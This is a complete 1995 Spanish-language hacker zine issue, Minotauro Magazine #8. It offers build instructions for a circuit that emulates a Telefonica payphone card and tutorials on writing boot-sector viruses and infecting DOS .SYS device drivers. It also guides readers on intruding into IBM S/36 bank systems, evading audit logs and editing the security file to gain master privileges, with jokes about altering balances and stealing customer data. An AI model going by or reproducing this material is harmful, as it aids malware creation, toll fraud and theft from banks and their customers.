Minotauro Magazine Issue #8! oh yeah...! Hiya. Aqui estamos de nuevo con una nueva edicion de vuestro zine preferido. La verda' que por este tiempo no hay mucho que contarles. Y es que estuvimos dedicados a la meditacion, a la refleccion, y a la refraccion!. Pero no desesperar, porque en este numero incluimos un circuito funcional emulador de una tarjeta de Telefonica correspondiente a una de 25 creditos (30 para los amigos). Entraremos en detalles en la nota, asi que dejen de leer esto y ponganse a laburar. Cualquier novedad al respecto pueden comunicarla a Dionysios I (+54-1-253-4389), II (+54-1-253-2098) o a cualquier otro bbs de la red dirigiendose directamente a mi o a cualquiera de nosotros. Si viven en el exterior y desean comunicarse via E-mail, lo pueden hacer refiriendose a mino@iia2.org -> Minotauro staff Ademas de lo que ya dijimos tenemos una explicacion sobre Virus de Boot con un ejemplo fully documented, ideal para beginners; infeccion de .SYS y mas. En caso de que no puedan conseguir algun numero, siempre estan disponibles en los siguientes url's de internet: ftp://ftp.eff.org/pub/Publications/CuD/Minotauro gopher://gopher.eff.org/11/Publications/CuD/Minotauro http://www.eff.org/pub/Publications/CuD/Minotauro Cambiando un poco de tema, les avisamos que en la fecha 10 de cada mes se organiza una conferencia en el ya conocido canal #iberhack de irc. Si todo saliera bien, este 10 de noviembre seguramente nos veremos alla. Otra cosa que hicimos en este tiempo de ocio fue salir a entrevistar a la gente comun sobre temas como virus, hacking, AV, etc. Y realmente nos cagamos de risa. Por eso decidimos incluir una seccion en donde contamos lo mas gracioso de la encuesta que vamos a publicar mas adelante. Aunque, a decir verdad, no todo fue risa. Es que nos dimos cuenta que al usuario comun, don pepe 386, le estan vendiendo cualquiera. Que el MultiMediaWay, que el Windors95, y un monton mas de necesidades al pedo. Pero lo mas triste es que de todos los medios 'especializados', la gente 'que sabe del tema', desde el stablishment informatico, estan constantemente bombardeando a la gente con el slogan 'su PC es igual a su licuadora'. En vez de apa¤ar la idea de que una computadora es una herramienta para el DESARROLLO de hombre, hacen campa¤a para que el usuario sea lo mas ingenuo y bobo posible. Porque asi es mas facil mentirle que nesecita el Windows 95 para solucionar sus problemas. Y asi la PC deja de ser herramienta de desarrollo y evolucion para convertirse en un negocio. Oro por espejuelos. Entonces aparecemos nos, los que no nos quedamos con lo que nos quieren vender. Los que investigamos, por pasion, como funcionan las cosas, y por eso es mas dificil enga¤arnos. Y por eso somos los insurrectos, los 'tecnosubersivos', los 'parias sociales '. Y por eso en nuestros bolsillos hay poco oro, pero ningun espejo. Cada uno elije su forma de jugar. Nosotros (al igual que muchos otros pocos) preferimos seguir por la que venimos, no dejando que nadie nos diga que color de fondo debe tener nuestra PC. Para que nadie nos quiera volver a re-colonizar. Porque en este futuro (que llego hace rato) el dilema es simple : Dominar la tecnologia... O seguir siendo Indios. Indice: Editorial ................................................ 000 Emulador de Tarjeta de Telefonica ........................ 001 Boot Sector Viruses ...................................... 002 Infeccion de .SYS ........................................ 003 Hackeando el venerable S/36 .............................. 004 Chantas Informaticos II, Mitos y Afines .................. 005 Mi Lamentable Vibri¢n (Ex-Producci¢n Nacional) ........... 006 Drako, digital anarchy J. Von Neumann, digital anarchy Minotauro Magazine #8: Tarjetas Telef¢nicas (Tercera parte) J. Von Neumann, B. Bunny & Drako (c) 1995 [DAN] Disclaimer: Este articulo, asi como los circuitos, son puramente experimentales. Los autores NO se responsabilizan por la adulteracion y MAL uso de la informacion aqui dada. Recordamos, ademas, que el uso de este circuito para fines fraudulentos esta penado por las leyes argentinas bajo el rotulo de 'Defraudaciones y Estafas'. Por este motivo nos hemos tomado la precaucion de entregarles el programa emulador simulando una tarjeta agotada. Por favor, sean decentes, No Lo CaMbIeN. Y si en algun ataque de debilidad la carne los tienta y deciden modificarlo, corren bajo su propia responsabilidad. Y la ley les caera encima con todo su peso. :) Introduccion: Hi, la tercera es la vencida. Y para todos aquellos que aun luego de haber leido nuestros EXELENTES dos articulos anteriores no han podido dar en el clavo con la tajeta, publicamos aqui el circuito definitivo. Felicitamos a aquellos que investigaron y llegaron a resultados positivos usando memorias EPROM's. Aunque este que aqui presentamos es mucho mas practico. Que lo disfruten. ** Explicacion ** Como ya habran notado, el paquete consta de varios circuitos. El primero (la plaqueta del microcontrolador), es el encargado de poner en funcionamiento al microcontrolador. La PROM del æcontrolador es cargada con el programa y con el mapa de memoria de la tarjeta deseada, utilizando el circuito programador (segundo circuito). Y por ultimo, el tercer circuito (cableado de la tarjeta) se conecta por medio del conector a la placa del controlador. Esto nos deja, luego de haberla grabado y ensablado, una tarjeta comun y corriente con unos cablecitos que salen a una plaqueta de 3 x 3 cms aproximadamente. Con un poco de buena voluntad este tama¤o se puede reducir hasta poder montarlo sobre la propia tarjeta. ** Componentes ** 1 Tarjeta Telefonica\Telecom ¿ 2 Capacitores de 27 pF ³ 1 Microcontrolador MC68HC705K1 ³ 1 Cristal 4.43361 Mhz à Circuito Emulador 1 Resistencia de 10 K à y Host 1 Zocalo de 8x2 ³ 1 Placa experimental de 5x5 ³ 1 Conector hembra para cable paralelo 8 contactos Ù 2 Resistencias de 2k2 ¿ 1 Resistencia de 220 ohm ³ 2 Capacitores de .1 uF ³ 1 Zocalo de 8x2 à Circuito 1,5 mts Cable paralelo 10 hilos multicolor à Programador 1 Conector db 25 macho ³ 1 Fuente de 5 V cc ³ 1 Fuente de 16.5 V cc Ù 1 Rollo de alambre de esta¤o de .5 mm 1 Soldador 20 W ** Files ** Hay 2 files, dantelf.s19 y prog05k.exe. El primero contiene el programa compilado y el mapa de la tarjeta en formato Motorola S19, listo para ser programado en el micro. El segundo es el soft que programa el micro ((c) Motorola Corp.), y es sencillo de usar. Tiene las instrucciones de la secuencia de encendido de las llaves de Vpp y de Vcc. Verifiquen primero que el micro este virgen, cargue el archivo dantelf, programen el micro y verifique que haya grabado bien. ** Circuitos ** Armado de la plaqueta del Microcontrolador: Este es el circuito mas facil. Es el cerebro y el alma misma del emulador. Contiene al micro ( 705k1 ), el cristal y los cap que lo hacen andar, y una resistencia para el reset. Conviene soldar primero el zocalo sobre la placa experimental (sin el micro, vacio); luego el cristal, y del lado de abajo los 2 capacitores, la resistencia en el espacio que queda entre las dos hileras de patas; y por ultimo el cable paralelo. Recomendamos ser muy prolijos en todo el armado. Revisen bien las conexiones, que no haya cortos entre las patas y que los componentes esten soldados a los terminales correctos del zocalo, tratando de utilizar el menor espacio posible. Armado del programador: Este circuito es el que se enchufa a la salida de LPT para programar el microcontrolador. En la placa del programador se empieza por soldar el zocalo, luego las 3 resistencias y por ultimo el cable paralelo. Utilicen cable multicolor, ya que asi es mucho mas facil reconocer a c\u. En la otra punta del cable se suelda el conector db 25 macho ( el de la impresora del lado de la PC ). Revisen que cada pin del conector vaya a la pata correcta del micro, sino no anda una mierda. Conecten por ultimo las dos fuentes , recordando que AMBAS deben tener llave de encendido INDEPENDIENTE. Armado del Host: Aca viene lo mas jodido del asunto. Para armar el host (o sea, la tarjeta que vamos a meter en el tel) es altamente recomendable tener un soldador de POCA potencia. Uno de 15 W va a andar joya. Si tenes uno de NO MAS de 30 w se le coloca un diodo 1N4007 en serie con cualquiera de los cables de alimentacion y listo. Si el soldador es de mas de 30 W, tiralo y comprate otro. Primero hay que calentar la chapita que corresponde al terminal de I/O de la tarjeta (ver mino #6) hasta que se despegue; para despues volverla a pegar en el mismo lugar calentandola nuevamente. Con esto logramos que se corte la conexion que hay entre el contacto y el chip propiamente dicho. Tengan mucho cuidado que al pegarla no se toque con ninguna de las que estan a los costados (hablamos de la chapita, obvio). OK, ahora hay que soldar desde cada contacto un cablecito (el mas fino que consigan) a un conector colocado en el extremo de la tarjeta, en la parte que en los telefonos de Telefonica deja pa' meter los garfios. Conviene mandar cuatro cables por arriba, y cuatro por abajo rodeando la tarjeta, lo mas directo posible, tapando y aislandolos con cinta tipo Scotch. En el extremo de la tarjeta, se pegan con La Gotita (R), 4 pines del lado de arriba y 4 del lado de abajo para formar el conector macho el cual se insertara en el conector hembra del cable paralelo. Por ultimo hay que soldar cada cable a un pin del conector, con lo que el host quedara listo para comunicar el telefono con el mundo exterior. ** Funcionamiento ** El funcionamiento es very simple. Dentro del micro hay un mapa de la tarjeta intacto. Cada vez que llega un pulso de reloj del tel, se activa una interrupcion en el micro. Ahi el handle se fija es estado de los contactos de Reset y de R/W, conectados al port del micro. Y emulamos el funcionamien to de la tarjeta. Si hay que resetear, se apunta una variable al inicio del mapa de la tarj. Si hay que leer se saca de a uno los bits por uno de los puertos del micro. Si hay que escribir se setea internamente a 1 ese bit. Bueno, en realidad la escritura no funcionan asi. Armen la tarjeta, el probador ya publicado, y desculen como estamos grabando, y por que la tarjeta marca agotada. ** Aclaraciones ** Una vez mas, dado que nuestra area de influencia es abastesida por Telefonica de Argentina, el circuito y prg funkan en telefonos de Telefonica. ** Despedida ** Ok, esto fue todo. Esperamos haber sido claros. Tan claros como para que hasta los de DADE lo puedan armar. Cualquier consulta, sugerencia, agradecimiento, obsequios, dinero en efectivo o a 7 dias, etc, remitanla a Dionysios II, area Minotauro.Staff ( no need level for this !! ) ** Agradecimientos ** A Mr Viktor por donarnos nuestro primer 705k1. A Motorola, por ofrecernos todo su apoyo tecnico, a traves de su bbs 'Motorola FreeWare Bulletin Board Service' (+1-512-891-FREE) A Vixer [DAN], por brindarnos servicios telefonicos internacionales a bajo costo para comunicarnos con FreeWare. A Telefonica y Telecom, por brindarnos una telefonia publica tan eficiente. J. Von Neummann, Bugs Bunny & Drako [DAN] Minotauro Magazine #8: Boot Sector Viruses Por Bugs Bunny En este art¡culo vamos a describir los virus de BOOT sector y Tabla de Particiones, pero para esto debemos comenzar por explicar qu‚ es y c¢mo funciona el BOOT y la Tabla de Particiones (TP). Como sabemos el BIOS, luego de hacer todos los chequeos necesarios para arrancar la m quina, carga de la primera unidad de disco (Algunas versiones de BIOS permiten configurar el arranque A:,C: o C:,A:) el primer sector de este (Lado 0; Sector 1; Cilindro 0), o sea el sector de BOOT si se trata de un diskette ubicado en la undidad A: o la TP en el caso de tratarse del disco r¡gido ubicado en C:. La idea de un Virus de BOOT es que ‚ste reemplace al sector de BOOT orig., por un c¢digo con las caracter¡sticas de un Virus, m s adelante veremos c¢mo hacer ‚sto, por ahora nos dedicaremos a describir al BOOT y la TP. En el sector de BOOT se encuentra un peque¤o programita encargado de cargar los archivos del sistema (en DOS: Io.sys y Dos.sys) o, si el disco no tiene el sistema operativo, nos pone el famoso mensajito "No system Disk, remplace....." o algo as¡. El Boot tiene en sus primeros 62 bytes una tabla de datos llamada BPB (Bios Parameters Block), que contiene los datos de la configuraci¢n del disco. La estructura del BPB es la siguiente: Offset - Cantidad - Descripci¢n 03(03) - 08 Bytes - OEM ID 0B(11) - 02 Bytes - Bytes per sector 0D(13) - 01 Byte - Sectors per cluster 0E(14) - 02 Bytes - Reserved sectors at beginning 10(16) - 01 Byte - FAT Copies 11(17) - 02 Bytes - Root directory entries 13(19) - 02 Bytes - Total sectors on disk 15(21) - 01 Byte - Media descriptor byte 16(22) - 02 Bytes - Sectors per FAT 18(24) - 02 Bytes - Sectors per track 1A(26) - 02 Bytes - Sides 1C(28) - 04 Bytes - Special hidden sectors 20(32) - 04 Bytes - Big total number of sectors 24(36) - 02 Bytes - Physical Drive number 26(38) - 01 Byte - Extended Boot Record Signature 27(39) - 04 Bytes - Volume Serial Number 2B(43) - 11 Bytes - Volume Label 36(54) - 08 Bytes - File system ID NOTA: Los tres primeros Bytes no son parte de la tabla, sino que se usan para hacer el salto incondicional al principio del codigo ejecutable. -Esta zona de datos no es escencial para el funcionamiento del virus, es m s, si queremos podemos no incluirla en el principio del Virus, aunque yo lo recomiendo para que si alguien mira el Boot infectado, no sea tan f cil darse cuenta de que esta infectado-. El Boot sector termina con los bytes 55AA en el offset 1FE Hex que le indican al BIOS que es un boot v lido. En la Tabla de Particiones, o tambi‚n llamada Master Boot Record hay un codigo ejecutable junto con una tabla de datos que contiene informaci¢n sobre las particiones del Hard Disk (Long de cada partici¢n, Particion Booteable, etc), ‚sta tabla est  ubicada en los £ltimos 66 Bytes de este sector, comenzando en el offest 446 (1BE Hex) con la siguiente estructura de datos: Partici¢n Nø1: offset 1BEh ÷ 1CDh Partici¢n Nø2: offset 1CEh ÷ 1DDh Partici¢n Nø3: offset 1DEh ÷ 1EDh Partici¢n Nø4: offset 1EEh ÷ 1FDh Ejemplo para la Partici¢n Nø1: Offset - Cantidad - Descripci¢n 1BEh - 1 Byte - Boot 1BFh - 1 Byte - Side \ 1C0h - 1 Byte - Sector > Start Location 1C1h - 1 Byte - Cylinder / 1C2h - 1 Byte - System 1C3h - 1 Byte - Side \ 1C4h - 1 Byte - Sector > End Location 1C5h - 1 Byte - Cylinder / 1C6h - 4 Bytes - Relative Sectors 1CAh - 4 Bytes - Number of Sectors La tabla de datos termina con los bytes 55AA en el offset 1FEh al igual que el Boot Sector y tiene el mismo fin. A diferencia de la tabla de datos que tiene el Boot Sector, ‚sta si es esencial para el correcto funcionamiento del DOS, si ‚sta tabla no est  presente en el primer sector de HD, el DOS no podr  reconocerlo y no podr  usarlo. Por lo tanto debemos tener una copia de esta tabla al final del virus para que no haya ningun tipo de problemas con el DOS. El codigo ejecutable se encarga de interpretar ‚sta tabla de datos para poder cargar del HD el BOOT de la partici¢n booteable activa en ese momento. El BOOT que est  en ‚sta partici¢n es exactamente igual al que est  en un diskette. Este programita (tanto el codigo ejecutable del BOOT como el de la TP) es cargado por el BIOS en la direcci¢n 0:7C00 Hex y se le pasa el control a ‚ste. Ahora ¨Qu‚ pasar¡a si en lugar de este prog., lo que se cargara fuera nuestro Virus?. Facil!, tendr¡amos el control de la m quina desde el primer momento. % Funcionamiento del Virus % Ahora nos dedicaremos a ver que es lo que tenemos que hacer para reemplazar el Boot o la TP original por nuestro Virus. Lo primero es copiar el Boot o la TP original a un lugar seguro (por ej. en el caso del Boot, al ultimo sector del directorio, y en el caso de la TP, a un lugar del HD que no se utiliza que puede ser cualquier sector del lado 0 del primer cilindro) y sobreescrivirlo con nuestro virus, colocando al principio de este la tabla de datos del Boot, o al final la tabla de datos de la TP seg£n sea el caso. Lo siguiente trata de ser un diagrama de flujo de nuestro Virus ejemplo, para entender como funcionan los virus de Boot: Start: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Resta 1K de mem. ³ ³ y se instala all¡ ³ ÀÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÙ ³ Handler INT 13h: ÚÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄ¿ ³ Tomo la INT 13h ³ ÚÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄ¿ ÀÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÙ ³ R/W de ³No ³ INT 13h ³ ³ ³ A:? ÃÄÄÄÄÄ´ original. ³ ÚÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄ¿ ÀÄÄÄÂÄÄÄÄÙ ÀÄÄÄÄÄÂÄÄÄÄÄÙ ³ Cargo la TP o el ³ ³S¡  ³ Boot en 0000:7C00h ³ ÚÄÄÄÁÄÄÄÄ¿ ³ ÀÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÙ ³ estaba ³S¡ ³ ³ ³ infec? ÃÄÄÄÄÄÄÄÄÄÄÄ´ ÚÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄ¿ ÀÄÄÄÂÄÄÄÄÙ ³ ³ Me fijo si se ³HD ³No ³ ³ cargo de flopy o ÃÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄ¿ ³ ³ del HD. ³ ³ ³ Salva el Boot ³ ³ ÀÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÙ ³ ³ orig. en disco ³ ³ ³Flopy ³ ÀÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÙ ³ ÚÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄ¿ ³ ³ ³ ³ Me fijo si el ³S¡ ³ ÚÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ HD ya estaba ÃÄÄÄÄÄÄÄ´ ³ Copia la tabla de ³ ³ ³ infectado ³ ³ ³ datos al principio³ ³ ÀÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÙ ³ ³ del Virus. ³ ³ ³No ³ ÀÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÙ ³ ÚÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄ¿ ³ ³ ³ ³ Salva la TP ³ ³ ÚÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄ¿ ³ ³ orig. en disco ³ ³ ³ Escribe el Virus³ ³ ÀÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÙ ³ ³ en el Boot. ÃÄÄÄÄÄÄÙ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄ¿ ³ ³ Copia la tabla de ³ ³ ³ datos al final ³ ³ ³ del Virus. ³ ³ ÀÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÙ ³ ³ ³ ÚÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄ¿ ³ ³ Escribo el Virus ³ ³ ³ en la TP ³ ³ ÀÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÙ ³ ³ ³ ÚÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄ¿ ³ ³ Salto a 0000:7C00h ÃÄÄÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ El Boot tiene una longitud de 512 Bytes (200 Hex), por lo tanto el cuerpo principal del Virus no puede superar esta long. (si se necesita m s Bytes se pueden usar m s sectores del disco), como restamos 1K (1024 Bytes) de mem. base, nos quedan justo 512 Bytes libres para usar como buffer de lectura y all¡ leeremos el Boot para copiarlo o compararlo con alguna etiqueta que le hallamos puesto, para poder saber si un disco ya estaba infectado o no. Una vez que el virus ya est  en activo memoria, tenemos que leer el Boot original en la posici¢n 0:7C00 Hex y transferirle el control a ‚ste, para que la instalaci¢n del DOS siga con toda normalidad, como si no hubiera pasado absolutamente nada! Bugs Bunny [DAN] Minotauro Magazine #8: Infecci¢n de Device Drivers Por Lapidario %QUE SON LOS DEVICE DRIVER% La idea al usar device driver es que todas las dependencias que tenga el hardware no esten concentradas y dependientes del programa principal sino que estas dependencias sean administradas por peque¤os modulos separados del programa principal. De esta manera se obtiene una modularidad que no requiere cambiar al codigo principal. Entonces un nuevo dispositivo, o una actualizacion de sofware puede ser cargado con solo cambiar el CONFIG.SYS y reinicializar el equipo. En DOS existen dos tipos de dispositivos: CHARACTER DEVICES: Son aquellos que solo pueden tratar con un caracter a la vez (ejemplo teclado, impresora el crt etc) BLOCK DEVICE: Pueden manejar un block de datos y por ejemplo trasladarlos de lugar (ejemplo disqueteras) Los driver que se encargaran de manejar estos dispositivos solo se distingen por un bit que se encuentran en el header (cabecera) del programa. Para nuestro uso solo nos dedicaremos a los character driver. El DOS ofrece la forma de encadenar device driver en un mismo archivo. Esto quiere decir que se puede formar una cadena de devices drives. Dicho de otra forma: Se ejecutara el primer device y este tendra un un puntero al proximo device y asi hasta que en el ultimo de estos device el puntero sea FFFFh:FFFFh con lo cual indicara que se acabo la cadena. %ESTRUCTURA DEL DEVICE DRIVER% Consiste de tres bloques: HEADER:------------------------------> contiene datos y punteros RUTINA ESTRATEGICA:------------------> contiene codigo ejecutable RUTINA DE INTERRUPCCION:-------------> contiene codigo ejecutable %INTERACCION DEL DOS CON LOS DEVICE HEADERS% El DOS interactua con el device driver enviandole comandos. Estos comandos son pasados por el DOS a el device driver en una estructura de datos que se encuentra en la direccion dada por el par de registros ES:BX. A la estructura que apunta este puntero se la denomina solicitud de header. Este puntero (ES:BX) es pasado por el DOS a la rutina estrategica la cual debera guardar este puntero pues lo usara la rutina de interrupcion. La rutina estrategica debe terminar con un retf. Inmediatamente despues de que el DOS llama a la rutina estrategica, llama a la rutina de interrupccion la cual procesara el pedido, devolviendo en los offset adecuados (que se encuentran dentro de la estructura apuntada por ES:BX) los resultados a la solicitud. Tanto la rutina estrategica como la de interrupcion son procedimientos lejanos (FAR). Nosotros para proceder a la infeccion procederemos a infectar todos los sys tipo character que sean unicos dispositivos, dicho de otra manera el offset 0h de su header debe contener el valor ffffh. %ESTRUCTURA DEL HEADER% offset longitud descripcion 0h DW Puntero al proximo header: SEG:OFFSET 4h W Atributo (si bit 15=1 tipo character) 6h W Puntero a la rutina estrategica. 8h W Puntero a la rutina de interrupcion. 0ah 8 bytes Nombre del dispositivo. Offset 0H: Si el device es unico o si es el final de una cadena este campo debe contener el valor ffffh:ffffh. En caso de haber un proximo eslavon el cadena este campo contiene la direccion del proximo device. Esta direccion apunta al comienzo del header del proximo device. Offset 4h: Contiene un word de atributo donde cada bit contiene informacion relativa al tipo y capacidades del dispositivo. Para nuestro estudio solo interesa el bit 15 que debe estar en 1 para ser un character device. Cuando nosotros agregemos un dispositivo mas a la cadena el word de atributo de este device agregado sera 8000h. Offset 6h y 8h: Contienen el offset a la rutina estrategica y a la rutina de interrupcion respectivamente. Este offset se calcula a partir del offset de inicio del header. Inicialmente los device driver son cargados en offset cero. Supongamos que infectaremos al file A.SYS que originalmente es un unico dispositivo. Si nosotros anexamos un nuevo eslavon al .SYS (seria el viri) tendremos que: El offset 0h del header de el file A.SYS lo demos actualizar. El segmento se deja en ffffh. El offset sera la longitud del file A.SYS original. offset 0h word offset offset 2h word segmento (se lo deja en ffffh) El offset 4h no se toca, lo mismo para el 6h y 8h. Con respecto al header del dispositivo agregado al file A.SYS tendremos: offset 0h longitud:dword contenido:ffffffffh offset 4h longitud:word contenido:8000h offset 6h y 8h deberan tener el offset de la rutina estrategica y de la rutina de interrupcion respectivamente. Estos offset se calculan desde el inicio del file A.SYS. Por lo tanto si en nuestro codigo de viri el offset de la rutina estrategica es por ejemplo 0234h el valor que debemos poner en el offset 6h de header sera 0234h+longitud original del file A.SYS. Las mismas consideraciones para el offset 8h (rutina de interrupcion). %ESTRUCUTURA DE LA SOLICITUD DEL HEADER% Como mencionamos el DOS llama a la rutina estrategica con un puntero dado en ES:BX que indica la direccion de la estructura conocida como solicitud de header. La unica funcion de la rutina estrategica es la de almacenar en algun lugar seguro dicho puntero y devolver el control con un retf. offset longitud descripcion 02h byte codigo de comando. 03h word word de estado. 0eh dword direccion final del codigo residente. Solo colocamos los offset cuyos contenidos son utiles para nuestra tarea. La informacion completa si es que hace falta, se puede hallar en alguna NG por ejemplo. OFFSET 02h: En este byte el DOS pone un codigo, el cual sera usado por el dispositivo para desempenar la tarea que se le pide. El unico codigo que nos interesa es 00 el cual es llamado codigo de inicializacion. Por lo tanto nuestro viri debera detectar si el commando es init y por ejemplo instalarce en memoria el virii y rechazar cualquier otro tipo de comando. El device responde al dos, una vez ejecutado el commando actualizando el offset 03h (estado). Este offset es puesto a cero por el DOS al llamar el device y es el device el que lo actualiza una vez ejecutado el comando. Nosotros debemos colocar en el offset 03h una de tres respuestas posibles: 0100h -------> si el evento es exitoso (se instalo el viri en memoria) 8102h -------> dispositivo no listo 8103h -------> evento fallado Este ultimo codigo hace que el DOS interprete que el dispositivo no ha entendido el comando. Este valor 8103h lo pondremos si el comando recivido no es 00h (init). El codigo 8102h lo debemos poner si el codigo ya esta instalado en memoria con anterioridad. El codigo 0100h lo pondremos cuando instalamos el codigo en memoria (esto lo podremos hacer cuando el comando es 00h y no hemos instalado previamente el device en memoria). Por ultimo nos falta saber que hacer con el offset 0eh. Este campo contiene la direccion final en formato segmento offset la direccion final del codigo que va a quedar instalado en memoria. 0eh ---------> Offset 10h ---------> Segmento El segmento sera el segmento en el cual se esta ejecutando la rutina de interrupcion (CS). Con respecto al offset se nos presentan dos casos: Siguiendo con el ejemplo de que queremos instalar un device mas a la cadena agregandonos al device driver A.SYS En el caso en que procedemos a instalarnos o sea que vamos a pasar el codigo 0100h en el dword de estatus, el valor que debemos poner en el offset 0eh de la solicitud del header, sera el offset de el ultimo byte usado por el device a agregar mas uno. Y en el caso en que el comando recibido sea init pero ya estamos instalados (VER NOTA 1), y devolvamos el estatus 8102h, el valor que debemos poner en el offset 0eh sera el offset de comienzo de el device driver que estamos agregando. NOTA 1: Esto se debe realizar asi pues en el momento de booteo puede ser que se encuentren infectados mas de un .SYS Entoces si el primero a inicializarce ya instala el virus, cuando se inicialize el segundo, tercero, etc, debemos inicializar el primer device de la cadena (el device original). A modo de ejemplo envio un codigo funcional de infeccion: Este codigo se compila para hacer un .SYS: Para lanzar el viri se instala el .SYS en el CONFIG.SYS y se bootea. La infeccion se realiza al hacer un dir, infectandoce todos los SYS del directorio actual. Luego se puede quitar el .SYS del config para verificar que los sys infectados trabajan perfectamente. De ordinario una vez entendido el procedimiento para la infeccion de SYS es relativamente sencillo agregar el codigo a un virii infector de com/exe etc. =============================================================================== Referencias y agradecimientos: A Dark Angel: Por su articulo en 40 HEX numero 9 Volumen 2 Issue 5 A Drako: por facilitarme: Undocumented DOS: por Andrew Schulman, Ralf Brown, David Maxey, Raymond Michels, Jim Kyle. DOS Internals : por Geoff Chappell. A Trurl: por facilitarme archivos SYS de mas de un device. =============================================================================== Lapidario [DAN] Minotauro Magazine #8: Hackeando al Venerable S/36 Por Mantisking Hi fucking hackers de la Argentina !! Aqu¡ el Rey del Boxeo de Mantis los saluda una vez m s para traerle £tiles informaciones. Lo primero que les traigo son datos estad¡sticos del sistema financiero argentino. Aqui van los proveedores de hardware de bancos: 78 % IBM 7 % NCR 15 % otros De ese 78 % de IBM, aunque les cueste creerlo, una gran porci¢n la ocupan equipos venerables del tipo S/34 y S/36 sobre todo en bancos del interior del pais, aunque gradualmente est n siendo reemplazados, generalmente por AS 400. Entonces, si quieren hackear algo mas interesante que un BBS, abandonen sus asquerosas PC, y a darle maza a estos fierros. Aca van algunas pistas para comprender la seguridad del S/36: ------------------------------------------------------------- Recursos del sistema: son aquellos archivos donde se encuentran los prg. y bibiotecas que utiliza el sistema durante su funcionamiento. Pueden residir en el disco o en diskette. En este £ltimo caso se cargan al disco en momento de su utilizaci¢n. Archivo historico del sistema operativo: contiene informaci¢n generada por el sistema sobre todas las tareas realizadas en el mismo (procedimientos ejecutados, hora de ejecuci¢n, terminal desde la cual se ejecut¢, usuario, etc.). Tambi‚n registra el tiempo de utilizaci¢n (es decir hora de conexi¢n y desconecci¢n al sistema), por lo que hay que ser cuidadoso y no abusar de la cuenta que se este hackeando, aunque la mayor¡a de los System Programmers no lo revisan, y generalmente lo eliminan del disco al iniciar las operaciones al inicio del d¡a para liberar espacio en disco. Archivos operativos: son el conjunto de datos utilizados por los sistemas aplicativos. Los utiliza el operador del sistema y son lo mas jugoso de los sistemas bancarios. All¡ pueden encontrarse valiosos datos como saldos de cuentas, nombres de los clientes del banco, gastos mensuales con tarjeta de cr‚dito, y un largo etc. (dejen volar su imaginaci¢n para pensar que podr¡an hacer con esa informaci¢n, mas all  de modificar el saldo de su propia cuenta JA JA). Muchos de los mailing que se reciben nutrieron sus bases de las informaciones que se "toman prestadas" de estos archivos. Archivo de esquema de seguridad: contiene la seguridad de usuarios y recursos. Est  m s que claro que es el archivo que hay que tocar para otorgarse mayor seguridad para poder acceder a todas las opciones del sistema. Bibliotecas: son procedimientos, programas y par metros de los sistemas aplicativos. Biblioteca -¥Library- : es el sistema operativo del equipo S/36. Para trabajar con la seguridad del sistema: ------------------------------------------ Los usuarios MASTER y SYSTEM son generalmente los £nicos habilitados para trabajar con la seguridad del sistema. El usuario SYSTEM como responsable no maestro de la seguridad, no tiene acceso a todas las funciones del usuario MASTER, responsable maestro de la seguridad. El sistema de seguridad suministra una serie de listados: 1) Listado de seguridad de usuarios: provee los perfiles correspondientes a cada usuario del sistema con indicaci¢n de sus atributos. 2) Listado de seguridad de recursos: provee las caracter¡sticas de seguridad determinadas para cada recurso del sistema. 3) Listado de seguridad de carpetas: verifica la existencia de carpetas 4) Listado de seguridad de comunicaciones: atenci¢n este es el listado donde aparecen se¤aladas las comunicaciones. Al igual que con el historico no hay mucho drama porque nadie le da bola. Solo se lo empieza a revisar cuando los auditores (internos o externos) andan dando vueltas por el centro de computos. 5) Listado cat logo del disco: en este listado figura detalladamente el conte- nido de las bibliotecas del disco, su ocupaci¢n, etc. Vamos a un punto que hab¡a quedado medio colgado, Modificaci¢n de seguridad de usuarios ------------------------------------- ID del Usuario: corresponder  a su identificaci¢n individual o a las claves £nicas SYSTEM, MASTER o CONTROL. Contrase¤a: es el password de seguridad. Clasificaci¢n de la seguridad: especifica la clasificaci¢n de seguridad que tendr  el usuario cuando est  activa la seguridad por contrase¤a. Las clasi- ficaciones se listan desde el nivel de autorizaci¢n m s elevado hasta el m s bajo. Cada clasificaci¢n posee todas las autorizaciones de nivel inferior a ella. Ac  va una descripci¢n mas detallada: M - Usuario responsable maestro de seguridad, que puede ejecutar todos los procedimientos de seguridad y puede usar cualquier estaci¢n de panta- lla. S - Usuario responsable de seguridad, puede definir y listar perfiles de usuario, asegurar grupos, ¡ndices alternativos y la ¥Library. Este usuario tambi‚n puede usar cualquier estaci¢n de pantalla. O - Usuario operador de consola del sistema que puede usar cualquier esta- ci¢n de pantalla. C - Usuario operador de subconsola, que puede usar cualquier estaci¢n de pantalla, excepto la consola del sistema. D - Usuario operador de estaci¢n de pantalla que puede hacer lo siguiente: - Cambiar su propio perfil de usuario - Cambiar su propio password - Asegurar todos los recursos que no est‚n asegurados - Cambiar o eliminar la seguridad de los recursos que posee - Listar 